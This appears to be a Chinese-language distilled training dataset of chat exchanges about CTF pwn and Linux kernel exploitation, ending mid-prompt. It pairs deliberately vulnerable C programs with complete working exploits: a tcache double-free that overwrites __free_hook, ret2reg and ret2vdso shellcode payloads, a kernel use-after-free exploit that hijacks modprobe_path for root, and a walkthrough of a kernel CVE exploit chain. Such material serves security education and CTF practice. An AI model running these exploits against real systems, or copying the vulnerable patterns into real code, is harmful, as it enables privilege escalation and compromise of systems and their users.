
分类：heap

语言：c

环境/依赖线索：
- `#include<stdio.h>`
- `#include<stdlib.h>`

函数/封装：
- `create_heap`
- `delete_heap`
- `edit_item`
- `init`
- `main`
- `menu`
- `show_item`

利用主题关键词：
- heap/tcache
- seccomp/orw

训练用代码片段：
```c
#include<stdio.h>
#include<stdlib.h>
char *heaparray[24];
int num=0;
void init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);

}
void create_heap() {
  int i;
  for (i = 0; i < 24; i++) {
    if (!heaparray[i]) {
      heaparray[i] = (char *)malloc(0x90);
      if (!heaparray[i]) {
        puts("error");
        exit(2);
      }
      puts("over\n");
      num++;
      break;
    }
  }
}
void delete_heap() {
  int idx;
  char buf[4];
  puts("idx");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= 24) {
    puts("error");
    exit(0);
  }
  if (heaparray[idx]) {
    free(heaparray[idx]);
    puts("over\n");
    num--;
  } else {
    puts("error\n");
  }
}
void show_item() {
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heaparray[idx]);
  }
}
void edit_item(){
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    puts("Content:");
    read(0,heaparray[idx], 0x90);
  }
}
void menu()
{
        puts("1. Get a page");
        puts("2. Take out");
        puts("3. Read page");
        puts("4. edit a page");
}
void main()
{
  init();
  int i;
  while(1)
  {
    menu();
    scanf("%d",&i);
    switch(i)
    {
      case 1:create_heap();break;
      case 2:delete_heap();break;
      case 3:show_item();break;
      case 4:edit_item();break;
      default:puts("error");break;
    }
  }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「tcache stash with fastbin double free」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### tcache stash with fastbin double free

在 fastbin 中并没有严密的 double free 检测，我们可以在填满对应的 tcache 链条后在 fastbin 中完成 double free，随后通过 stash 机制将 fastbin 中 chunk 倒回 tcache 中。此时 fsat bin double free 就变成了 tcahce double free 。

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
add_chunk(0, 0x410)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
for i in range(9):
    add_chunk(i, 0x10)
for i in range(2, 9):
    delete_chunk(i)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
for i in range(2, 9):
    add_chunk(i, 0x10)
add_chunk(0, 0x10)
edit_chunk(0, p64(libc.sym['__free_hook']))
add_chunk(0, 0x10)
add_chunk(0, 0x10)
add_chunk(0, 0x10)
edit_chunk(0, p64(libc.sym['system']))


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「内核到用户态的数据拷贝」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 内核到用户态的数据拷贝

`do_msgrcv()` 末尾调用 `msg_handler()`：

```c
bufsz = msg_handler(buf, msg, bufsz);
```

`ksys_msgrcv()` 传入的处理函数为 `do_msg_fill()`：

```c
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
         long msgtyp, int msgflg)
{
    return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
```

`do_msg_fill()` 会写回 `m_type` 并调用 `store_msg()` 拷贝消息内容：

```c
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
    struct msgbuf __user *msgp = dest;
    size_t msgsz;

    if (put_user(msg->m_type, &msgp->mtype))
        return -EFAULT;

    msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
    if (store_msg(msgp->mtext, msg, msgsz))
        return -EFAULT;
    return msgsz;
}
```

```c
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
    size_t alen;
    struct msg_msgseg *seg;

    alen = min(len, DATALEN_MSG);
    if (copy_to_user(dest, msg + 1, alen))
        return -1;

    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        dest = (char __user *)dest + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_to_user(dest, seg + 1, alen))
            return -1;
    }
    return 0;
}
```

拷贝过程与申请过程对应：如果总长度小于 `DATALEN_MSG`，则直接从 `msg_msg` 后方拷贝；否则继续沿 `msg_msgseg` 单向链表拷贝，直到 `seg->next == NULL`。

实际拷贝总长度由下面逻辑决定：

```c
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
```

在 `bufsz` 足够大的情况下，拷贝长度由 `msg->m_ts` 决定。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <cstdint>`
- `#include <vector>`
- `#include <xdk/util/Register.h>`

利用主题关键词：
- io-file/fsop
- stack/rop

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <cstdint>
#include <vector>
#include <xdk/util/Register.h>

/**
 * @defgroup pivot_classes Pivot Classes
 * @brief Classes for stack pivoting and related techniques.
 */

/**
 * @ingroup pivot_classes
 * @brief Enum representing the type of indirect jump.
 */
enum class IndirectType { JMP, CALL };

/**
 * @ingroup pivot_classes
 * @brief Base struct for all pivot gadgets.
 */
struct Pivot {
    uint64_t address;
};

/**
 * @ingroup pivot_classes
 * @brief Represents the usage of a register and the offsets relative to it that are used.
 */
struct RegisterUsage {
    /** @brief The register being used. */
    Register reg;
    /** @brief A vector of offsets relative to the register that are used. */
    std::vector<int64_t> used_offsets;
};

/**
 * @ingroup pivot_classes
 * @brief Represents a stack shifting pivot gadget.
 */
struct StackShiftPivot: Pivot {
    /** @brief The offset from the new stack pointer where the next return address is expected. */
    uint64_t ret_offset;
    /** @brief The amount by which the stack pointer is shifted. */
    uint64_t shift_amount;

    /**
     * @brief Checks if the gadget jumps to the shifted stack location.
     * @return True if the gadget jumps to the shifted stack location, false otherwise.
     */
    bool JumpsToShift() const { return ret_offset == shift_amount - 8; }
};

/**
 * @ingroup pivot_classes
 * @brief Represents a one-gadget pivot.
 */
struct OneGadgetPivot: Pivot {
    /** @brief Information about the register used for the pivot. */
    RegisterUsage pivot_reg;
    /** @brief The offset from the pivot register's value to the next instruction pointer. */
    int64_t next_rip_offset;
};

/**
 * @ingroup pivot_classes
 * @brief Represents a push indirect pivot gadget.
 */
struct PushIndirectPivot: Pivot {
    /** @brief The type of indirect jump (JMP or CALL). */
    IndirectType indirect_type;
    /** @brief Information about the register being pushed onto the stack. */
    RegisterUsage push_reg;
    /** @brief Information about the register containing the indirect address. */
    RegisterUsage indirect_reg;
    /** @brief The offset from the indirect register's value to the next instruction pointer. */
    int64_t next_rip_offset;
};

/**
 * @ingroup pivot_classes
 * @brief Represents a pop RSP pivot gadget.
 */
struct PopRspPivot: Pivot {
    /** @brief The change in the stack pointer before the RSP register is popped. */
    uint64_t stack_change_before_rsp;
    /** @brief The offset from the new RSP value to the next instruction pointer. */
    int64_t next_rip_offset;
};

/**
 * @ingroup pivot_classes
 * @brief A collection of different types of pivot gadgets.
 */
struct Pivots {
    /** @brief A vector of one-gadget pivots. */
    std::vector<OneGadgetPivot> one_gadgets;
    /** @brief A vector of push indirect pivots. */
    std::vector<PushIndirectPivot> push_indirects;
    /** @brief A vector of pop RSP pivots. */
    std::vector<PopRspPivot> pop_rsps;
    /** @brief A vector of stack shifting pivots. */
    std::vector<StackShiftPivot> stack_shifts;
};
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2reg/rsp_shellcode/source.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2reg/rsp_shellcode/source.c`

分类：stack

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```c
#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

> 例题：rsp_shellcode

+ 源代码

```c
#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}
```

+ 分析

查保护，没有`NX`和`canary`以及`PIE`保护，即栈可执行。

[图片: image][图片: image]

分析源代码发现很明显的栈溢出漏洞，并且溢出字节没有限制。

源代码中还内嵌了一个`jmp rsp`的汇编指令，猜测要通过 ret2reg 的方式打 shellcode。

gdb 调试发现在函数返回的时候`rsp`仍然指向输入缓冲区地址。

[图片: image]

这样我们可以通过将返回地址覆盖为`jmp rsp`来让`rip`指向缓冲区，然后在`jmp rsp`指令后拼接上 shellcode 让程序执行 shellcode。

可以将 shellcode 拼接在`jmp rsp`后面是因为程序可以溢出很长的字节，我们可以在填充和`jmp rsp`的后面直接拼接上 shellcode。但是如果程序溢出长度不满足，那么我们就要通过其它方法了。

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#查找程序gadget
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
    b'a' * 120,
    jmp_rsp,
    asm(shellcraft.sh())
)
sla("RSP!\n",payload)
ia()
```

> 例题：X-CTF Quals 2016 - b0verfl0w

+ 分析

查保护，32位程序无`NX`、`canary`以及`PIE`保护，栈可执行。

[图片: image]

ida反编译分析伪代码。

程序限制读取 50 个字节，所以我们只能溢出 18 个字节。

接下来 gdb 调试一下。

[图片: image]

gdb 动调调试发现，在程序返回时`esp`寄存器仍然指向输入缓冲区。

[图片: image]

并且我们通过 ROPgadget 在程序中搜索到了`jmp esp`指令。

[图片: image]

这样很明显可以进行 ret2reg 利用，但是溢出仅仅只有 18 字节，我们无法像上题一样直接在`jmp esp`后面拼接 shellcode。这里我们就需要换一种方法了。

我们无法直接返回执行很长的 shellcode，但是可以通过构造简短的汇编指令将栈指针进行一个迁移。比如我们将其迁移到 payload 的前部分。这样我们可以直接将 payload 的前部分的填充替换为 shellcode，然后通过 ret2reg 迁移执行。

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode=asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
push 11
pop eax
int 0x80
""")

jmp_esp = next(elf.search(asm('jmp esp')))
payload = shellcode.ljust(0x24,b'a') + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')
print(len(payload))
sl(payload)

ia()
```

> 例题：ciscn_2019_s_9

+ 分析

查保护发现几乎没保护，可以尝试打 shellcode。

[图片: image]

分析`main`函数，发现关键函数`pwn`，跟进查看。

[图片: image]

分析代码发现，`fgets`可以向长度为 24 字节的变量`s`读入 50 个字符，所以存在栈溢出。

溢出字节为 18 个字节。

[图片: image]

gdb 动态调试发现，在`pwn`函数返回时`esp`是指向栈顶的。

[图片: image]

而且我们在函数表中发现了`jmp rsp`指令，所以接下来的思路就很清晰了。

通过 ret2reg打 shellcode。

[图片: image]

但是我们溢出长度只有 18 个字节，并不足够在`jmp esp`后拼接上 shellcode。

所以我们仍然要通过简单的汇编指令来将栈帧迁移到 payload 的前部分，然后在 payload 的前部分拼接上我们的 shellcode。

这里使用的是手写的汇编，因为 pwntools 生成的太长了，都超出填充长度了。。。

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

jmp_esp = next(elf.search(asm('jmp esp')))
shellcode=b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
payload = shellcode.ljust(36,b'a')+ p32(jmp_esp) + asm('sub esp,40;jmp esp')
r()
sl(payload)

ia()
```

总结：如果溢出字节足够长就在`jmp reg`指令后拼接执行 shellcode，如果溢出不够长就构造汇编指令将栈指针迁移到payload 前部分 然后在 payload 前部分拼接上 shellcode 执行。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

通俗来说就是程序运行同样会加载 VDSO 文件到内存中，而 VDSO 中存在可以利用的 gadget。并且 32 位系统的 VDSO 随机化是非常弱的，我们可以通过暴力破解的方式获取到。然后就可以利用 VDSO 中的 gadget 来进行 SROP，然后就可以 getshell。

一般出 ret2vdso 的题目是直接使用汇编出的，gadget 非常少。但是这里我们只是学习如何利用，这里就直接拿课程中的题目来学习了。虽然这题其实不仅仅可以这样解。

+ 源代码

```c
#include <stdio.h>
#include <unistd.h>

char buf[10] = "/bin/sh\x00";

void pwnme() {
    char s[0x100];
    char *welcome = "> ";
    write(1, welcome, 2);
    read(0, s, 0x400);
}

int main() {
    pwnme();
    return 0;
}
```

+ 反编译分析

很明显存在栈溢出漏洞，溢出长度为`110`。

[图片: Pasted image 20250112214136]

+ 获取 vdso

先关掉 ASLR 随机化，然后运行脚本 dump vdso文件。

```python
from pwn import *
import random
import time

context(arch='i386', os='linux')
elf = ELF("./ret2vdso_x32")
RANGE_VDSO  = range(0xf7fc4000, 0xf7fc6000, 0x1000)
#0xf7fc4000 0xf7fc6000 r-xp     2000      0 [vdso]
while(True):
    try:
        sh = process(elf.path)
        #vdso_addr = random.choice(RANGE_VDSO)
        vdso_addr = 0xf7fc4000
        sh.recvuntil(b'> ')
        #利用栈溢出及泄露函数泄露内存
        sh.send(b'a' * 0x110 +
                p32(elf.symbols['write']) +
                p32(0) +
                p32(1) + # fd
                p32(vdso_addr) + # buf
                p32(0x2000) # count
                )

        result = sh.recvall(0.1)
        if(len(result) != 0):
            open('vdso.so', 'wb').write(result)
            sh.close()
            log.success("Success")
            exit(0)
        sh.close()
    except Exception as e:
        sh.close()
```

objdump 反汇编 dump 的 vdso 文件，获取到其中的关键 gadget。

[图片: Pasted image 20250112213633]

接下来我们就可以通过`sigreturn`打 SROP 了，最后动态调试一下查看一下需要恢复的段寄存器值。

[图片: image-20260519215729276]

然后查找一下程序中有没有`/bin/sh`字符串。

```
❯ ROPgadget --binary ./ret2vdso_x32 --string "/bin/sh"
Strings information
============================================================
0x0804c020 : /bin/sh
```

最后构造 exp 就行了。

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./ret2vdso_x32')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

bin_sh_addr = 0x0804C020
bss_addr = 0x0804C02A
vdso_addr = 0xf7fc4000

lg('Try vdso',vdso_addr)

frame = SigreturnFrame(kernel="i386")
frame.eax = constants.SYS_execve
frame.ebx = bin_sh_addr
frame.eip = vdso_addr + 0x566 # 中断地址
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 99
frame.cs = 35
frame.es = 43
frame.ds = 43
frame.ss = 43

ret_addr = vdso_addr + 0x561 # sigreturn 地址

payload = flat([cyclic(0x10c+4), ret_addr, frame])
s(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「From stale skb metadata to a dangling pipe page」。
资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### From stale skb metadata to a dangling pipe page

The initial skb setup clears the leading `skb_shared_info` fields, including
`nr_frags`, but it does not clear the later `frags[]` array. The exploit uses
that partial initialization to preserve an old `skb_frag_t` whose page field
points to a selected pipe page.

The page and skb grooming proceed in this order:

1. The exploit writes 256 bytes of `0x41` into the source pipe `wp`, allocating
   one order-0 pipe page.
2. Eight calls to `tee()` clone that pipe buffer into eight holding pipes.
   These references keep the page alive while its descriptor is planted and
   reused.
3. One corked grooming socket receives
   `904 + 16 * 912 = 15496` pipe-backed bytes. After the first 904 bytes, the
   sixteen 912-byte portions create sixteen target skb heads whose
   `frags[0]` descriptors refer to the source pipe page.
4. The grooming socket is closed immediately before the two trigger splices.
   This releases the sixteen target heads together; their page references are
   balanced, but descriptor-shaped bytes remain in the freed objects.
5. The vulnerable second skb reuses one of those heads. The 15-byte Fraggap
   overwrite sets `nr_frags = 1` while leaving the stale `frags[0]`
   descriptor at offset `0x30` intact.
6. The second `splice()` still has 20 bytes to consume. On the next append
   iteration, `skb_splice_from_iter()` installs the trigger-pipe page as the
   valid `frags[1]` entry and advances `nr_frags` to two.
7. Closing the trigger socket frees the corked write queue. The skb release
   path walks both entries: `frags[0]` performs an unmatched page put on the
   source pipe page, while `frags[1]` releases the valid reference acquired
   for the second trigger pipe.

The target heads come from the dedicated `skbuff_small_head` cache. Each
704-byte object provides 384 bytes of linear head space followed by the
320-byte `skb_shared_info`. The 320-byte routing header and its option storage
use `kmalloc-512`, while the first trigger skb requires `kmalloc-1k`. The
vulnerable second skb is the 384-byte small-head case, so those unrelated
allocations do not consume the sixteen groomed target objects.

The relevant release path is:

```text
close(trigger socket)
  -> udp_v6_flush_pending_frames()
     -> ip6_flush_pending_frames()
        -> kfree_skb()
           -> skb_release_data()
              -> __skb_frag_unref(frags[0])  # stale source-pipe page
              -> __skb_frag_unref(frags[1])  # valid trigger-pipe page
```

Ignoring temporary grooming references, which are acquired and released in
balanced pairs, the source page's refcount evolves as follows:

| Point | Logical owners | Intended refcount | Actual refcount |
| --- | ---: | ---: | ---: |
| Source pipe contains the page | 1 | 1 | 1 |
| Eight holding pipes created with `tee()` | 9 | 9 | 9 |
| Corrupted skb is released | 9 | 9 | 8 |
| Eight holding pipes are closed | 1 | 1 | 0 |

At the final point, the page allocator sees a free page, but the original
`wp` pipe buffer still contains its page pointer, offset, length, and merge
flag. This dangling pipe buffer is the input primitive for the page-table
reclaim.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache绕过/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache绕过/pwn.c`

分类：heap

语言：c

环境/依赖线索：
- `#include <stdlib.h>`
- `#include <stdio.h>`
- `#include <unistd.h>`

函数/封装：
- `get_num`
- `main`
- `menu`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add;
                break;
            case 2:
                delete;
                break;
            case 3:
                edit;
                break;
            case 4:
                show;
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「任意地址写」。
资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 任意地址写

我们可以通过结合`userfaultfd`或者`FUSE`实现`race condition`。当我们在调用`msgsnd `系统调用时，其会继续调用`load_msg`将用户数据拷贝到内核空间中。它会先调用`alloc_msg`分配`msg_msg`的单向链表，之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到，在拷贝时利用`userfaultfd`或者`FUSE`将拷贝停止下来，并在子进程中篡改`msg_msg->next`，恢复拷贝后即可向我们篡改后的地址上写入数据，从而实现任意地址写。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c`

分类：kernel

语言：c

环境/依赖线索：
- `#include <fcntl.h>`
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <string.h>`
- `#include <sys/ioctl.h>`
- `#include <unistd.h>`
- `#include <sched.h>`

函数/封装：
- `alloc_buf`
- `bindCore`
- `edit_buf`
- `main`
- `read_buf`

利用主题关键词：
- uaf/double-free
- io-file/fsop
- seccomp/orw
- kernel

关键常量/偏移样例：
`0x100`, `0x1000`, `0x9d000`, `0x1111111`, `0x1444700`, `0x6666666`, `0x7777777`, `0xFFFFFFFFF0000000`

训练用代码片段：
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwn"

struct xkdata
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void alloc_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void edit_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void read_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[8], root_script_fd;
    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
    char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
    char flag[0x100];
    int flag_fd;

    // bind the process to core 0
    bindCore(0);

    // create fake modprobe_path file
    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " MAGIC_PATH);

    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    struct xkdata data;
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    alloc_buf(dev_fd[0], &data);
    edit_buf(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    read_buf(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);

    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    edit_buf(dev_fd[1], &data);
    alloc_buf(dev_fd[1], &data);
    alloc_buf(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    read_buf(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);

    // hijack modprobe_path
    puts("[*] hijacking modprobe_path...");
    alloc_buf(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
    data.offset = 0;
    data.length = 0x8;
    edit_buf(dev_fd[2], &data);
    alloc_buf(dev_fd[2], &data);
    alloc_buf(dev_fd[2], &data); // get the chunk
    strcpy((char *) &data.user_buf[2], MAGIC_PATH);
    data.length = 0x30;
    edit_buf(dev_fd[2], &data);

    // trigger the exploit
    puts("[*] trigerring fake modprobe_path...");
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
    system("chmod +x /home/trigger");
    system("/home/trigger");

    // read flag
    memset(flag, 0, sizeof(flag));
    flag_fd = open("/flag", O_RDWR);
    read(flag_fd, flag, sizeof(flag));
    printf("[+] Flag: %s\n", flag);

    return 0;
}
```

Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3.5 触发」。
